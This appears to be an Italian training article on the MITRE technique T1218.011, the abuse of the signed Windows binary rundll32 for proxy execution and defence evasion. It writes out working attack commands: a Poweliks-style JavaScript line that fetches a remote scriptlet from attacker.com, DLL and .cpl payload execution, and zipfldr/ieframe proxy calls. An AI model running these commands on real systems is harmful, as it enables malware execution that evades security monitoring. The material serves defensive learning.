Abuso di Rundll32: Signed System Binary Proxy Execution: Rundll32 (T1218.011)

Rundll32.exe rappresenta uno strumento Windows apparentemente innocuo che gli attaccanti sfruttano sistematicamente per mascherare l'esecuzione di codice malevolo. Questo binario firmato Microsoft permette di caricare ed eseguire funzioni DLL esportate, una funzionalità legittima che diventa un'arma potente nelle mani sbagliate.

La tecnica si manifesta nella fase TA0005 - Defense Evasion della kill chain, dove l'obiettivo primario è evitare la detection dei sistemi di sicurezza. L'abuso di rundll32 permette di aggirare i controlli basati su whitelist e ridurre i falsi positivi che spesso affliggono i SOC, poiché il processo è comunemente utilizzato in operazioni legittime del sistema operativo.

L'impatto di questa tecnica è significativo: 26 gruppi APT documentati la utilizzano attivamente, tra cui attori sponsorizzati da stati nazionali come APT28 e Lazarus Group. Sono stati identificati 69 software malevoli che sfruttano rundll32, distribuiti attraverso 8 campagne maggiori. La versatilità del metodo permette l'esecuzione di DLL personalizzate, script JavaScript attraverso mshtml.dll, file Control Panel (.cpl) e persino l'offuscamento dei nomi delle funzioni attraverso l'uso di caratteri Unicode e ANSI.

L'esecuzione di payload attraverso rundll32 richiede precisione nella sintassi e comprensione delle diverse modalità di abuso. Il comando base segue il formato rundll32.exe {DLLname},{FunctionName}, ma le varianti sono numerose e creative.

Per testare l'esecuzione diretta di una DLL personalizzata, puoi utilizzare:

rundll32.exe C:\temp\malicious.dll,EntryPoint

APT28 ha dimostrato particolare creatività nell'uso di rundll32, salvando script batch che richiamano il binario per eseguire payload DLL. Un approccio più sofisticato sfrutta le funzioni non documentate di shell32.dll per eseguire file .cpl:

rundll32.exe shell32.dll,Control_RunDLL payload.cpl

L'esecuzione di JavaScript attraverso rundll32 rappresenta una delle tecniche più eleganti, utilizzata dal malware Poweliks. La sintassi richiede particolare attenzione agli escape dei caratteri:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://attacker.com/payload.sct")"

Per offuscare l'analisi, gli attaccanti sfruttano la gestione dei character set di Windows. Rundll32 cerca prima la versione Wide (Unicode) di una funzione, poi ANSI, infine quella standard. Creando funzioni duplicate con suffissi W e A, è possibile nascondere il codice malevolo:

rundll32.exe suspicious.dll,LegitFunctionW

Anche le DLL di sistema firmate Microsoft possono essere abusate. FIN7 e altri gruppi utilizzano zipfldr.dll e ieframe.dll per proxy execution:

rundll32.exe zipfldr.dll,RouteTheCall payload.exe
rundll32.exe ieframe.dll,OpenURL https://malicious.site

L'esportazione tramite numero ordinale offre ulteriore offuscamento:

rundll32.exe malicious.dll,#1

Su Linux con Wine installato, è possibile testare comportamenti simili per comprendere meglio la tecnica cross-platform.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo